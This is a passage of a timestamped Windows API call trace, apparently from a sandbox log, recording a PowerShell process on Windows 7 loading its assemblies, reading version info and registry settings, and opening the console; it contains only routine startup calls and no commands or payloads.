pcchLanguagesBuffer=0x25e9c8) returned 1 [0053.965] GetUserDefaultLocaleName (in: lpLocaleName=0x391da8, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0053.992] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.992] GetLastError () returned 0xcb [0053.998] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.998] GetLastError () returned 0xcb [0053.999] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.999] GetLastError () returned 0xcb [0054.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e43c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.010] GetLastError () returned 0xcb [0054.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e458, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.010] GetLastError () returned 0xcb [0054.010] SetErrorMode (uMode=0x1) returned 0x1 [0054.010] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x25e8d8 | out: lpFileInformation=0x25e8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0054.010] GetLastError () returned 0xcb [0054.010] SetErrorMode (uMode=0x1) returned 0x1 [0054.010] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x25e95c | out: lpdwHandle=0x25e95c) returned 0x94c [0054.011] GetLastError () returned 0x0 [0054.011] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2aa6374 | out: lpData=0x2aa6374) returned 1 [0054.012] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25e928, puLen=0x25e924 | out: lplpBuffer=0x25e928*=0x2aa6410, puLen=0x25e924) returned 1 [0054.012] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa64ec, puLen=0x25e8a0) returned 1 [0054.012] lstrlenW (lpString="Microsoft Corporation") returned 21 [0054.012] lstrcpyW (in: lpString1=0x391da8, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0054.012] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa6540, puLen=0x25e8a0) returned 1 [0054.012] lstrlenW (lpString="System.Management.Automation") returned 28 [0054.012] lstrcpyW (in: lpString1=0x391da8, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0054.012] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa659c, puLen=0x25e8a0) returned 1 [0054.012] lstrlenW (lpString="6.1.7601.17514") returned 14 [0054.012] lstrcpyW (in: lpString1=0x391da8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0054.012] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa65dc, puLen=0x25e8a0) returned 1 [0054.012] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0054.012] lstrcpyW (in: lpString1=0x391da8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0054.012] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa6644, puLen=0x25e8a0) returned 1 [0054.013] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0054.013] lstrcpyW (in: lpString1=0x391da8, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0054.013] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa66e0, puLen=0x25e8a0) returned 1 [0054.013] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0054.013] lstrcpyW (in: lpString1=0x391da8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0054.013] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa6744, puLen=0x25e8a0) returned 1 [0054.013] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0054.013] lstrcpyW (in: lpString1=0x391da8, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0054.013] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa67c0, puLen=0x25e8a0) returned 1 [0054.013] lstrlenW (lpString="6.1.7601.17514") returned 14 [0054.013] lstrcpyW (in: lpString1=0x391da8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0054.013] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x2aa6468, puLen=0x25e8a0) returned 1 [0054.013] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0054.013] lstrcpyW (in: lpString1=0x391da8, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0054.013] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x0, puLen=0x25e8a0) returned 0 [0054.013] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x0, puLen=0x25e8a0) returned 0 [0054.014] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x25e8a4, puLen=0x25e8a0 | out: lplpBuffer=0x25e8a4*=0x0, puLen=0x25e8a0) returned 0 [0054.014] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25e898, puLen=0x25e894 | out: lplpBuffer=0x25e898*=0x2aa6410, puLen=0x25e894) returned 1 [0054.014] VerLanguageNameW (in: wLang=0x0, szLang=0x391da8, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0054.014] VerQueryValueW (in: pBlock=0x2aa6374, lpSubBlock="\\", lplpBuffer=0x25e8ac, puLen=0x25e8a8 | out: lplpBuffer=0x25e8ac*=0x2aa639c, puLen=0x25e8a8) returned 1 [0054.023] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.023] GetLastError () returned 0xcb [0054.030] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.030] GetLastError () returned 0xcb [0054.033] lstrlenW (lpString="䅁") returned 1 [0054.037] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e870 | out: phkResult=0x25e870*=0x32c) returned 0x0 [0054.038] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e874 | out: phkResult=0x25e874*=0x330) returned 0x0 [0054.038] RegOpenKeyExW (in: hKey=0x330, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e8a8 | out: phkResult=0x25e8a8*=0x334) returned 0x0 [0054.040] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e8e8, lpData=0x0, lpcbData=0x25e8e4*=0x0 | out: lpType=0x25e8e8*=0x1, lpData=0x0, lpcbData=0x25e8e4*=0x56) returned 0x0 [0054.041] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e8e8, lpData=0x391da8, lpcbData=0x25e8e4*=0x56 | out: lpType=0x25e8e8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e8e4*=0x56) returned 0x0 [0054.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.047] GetLastError () returned 0x0 [0054.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.049] GetLastError () returned 0x0 [0054.056] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.056] GetLastError () returned 0x0 [0054.074] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.074] GetLastError () returned 0xcb [0054.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0054.360] GetLastError () returned 0x2 [0054.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0054.360] GetLastError () returned 0x2 [0054.480] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.480] GetLastError () returned 0xcb [0054.481] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.481] GetLastError () returned 0xcb [0054.516] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.516] GetLastError () returned 0xcb [0054.517] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.518] GetLastError () returned 0xcb [0054.518] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.518] GetLastError () returned 0xcb [0054.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0054.692] GetLastError () returned 0x0 [0054.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0054.692] GetLastError () returned 0x0 [0054.717] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.717] GetLastError () returned 0xcb [0054.719] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.719] GetLastError () returned 0xcb [0054.782] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.782] GetLastError () returned 0x7e [0054.782] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.782] GetLastError () returned 0x7e [0055.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0055.393] GetLastError () returned 0x2 [0055.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0055.393] GetLastError () returned 0x2 [0055.520] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0055.520] GetLastError () returned 0x57 [0055.520] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0055.520] GetLastError () returned 0x57 [0055.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0055.699] GetLastError () returned 0x2 [0055.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0055.699] GetLastError () returned 0x2 [0055.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0055.882] GetLastError () returned 0x2 [0055.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0055.882] GetLastError () returned 0x2 [0055.964] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.964] GetLastError () returned 0xcb [0055.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e478, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0055.966] GetLastError () returned 0xcb [0055.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0055.966] GetLastError () returned 0xcb [0055.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0055.966] GetLastError () returned 0xcb [0055.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0055.978] GetLastError () returned 0xcb [0056.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x25e3bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0056.059] GetLastError () returned 0x2 [0056.059] SetErrorMode (uMode=0x1) returned 0x1 [0056.060] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x25e864 | out: lpFileInformation=0x25e864*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0056.060] GetLastError () returned 0x2 [0056.060] SetErrorMode (uMode=0x1) returned 0x1 [0056.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e478, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.356] GetLastError () returned 0x0 [0056.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.356] GetLastError () returned 0x0 [0056.357] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.357] GetLastError () returned 0x0 [0056.361] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.361] GetLastError () returned 0xcb [0056.367] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.367] GetLastError () returned 0xcb [0056.367] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.367] GetLastError () returned 0xcb [0056.384] CoCreateGuid (in: pguid=0x25e944 | out: pguid=0x25e944*(Data1=0x1c387430, Data2=0x460f, Data3=0x4952, Data4=([0]=0x89, [1]=0xf, [2]=0xb1, [3]=0xee, [4]=0xee, [5]=0xf7, [6]=0x4d, [7]=0x48))) returned 0x0 [0056.390] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.390] GetLastError () returned 0xcb [0056.393] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.393] GetLastError () returned 0xcb [0056.396] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.396] GetLastError () returned 0xcb [0056.408] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0056.408] GetLastError () returned 0x0 [0056.410] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x25e824 | out: lpConsoleScreenBufferInfo=0x25e824) returned 1 [0056.411] GetLastError () returned 0x0 [0056.417] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0056.418] GetLastError () returned 0x0 [0056.418] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x25e824 | out: lpConsoleScreenBufferInfo=0x25e824) returned 1 [0056.418] GetLastError () returned 0x0 [0056.419] GetVersionExW (in: lpVersionInformation=0x391dc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x391dc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, 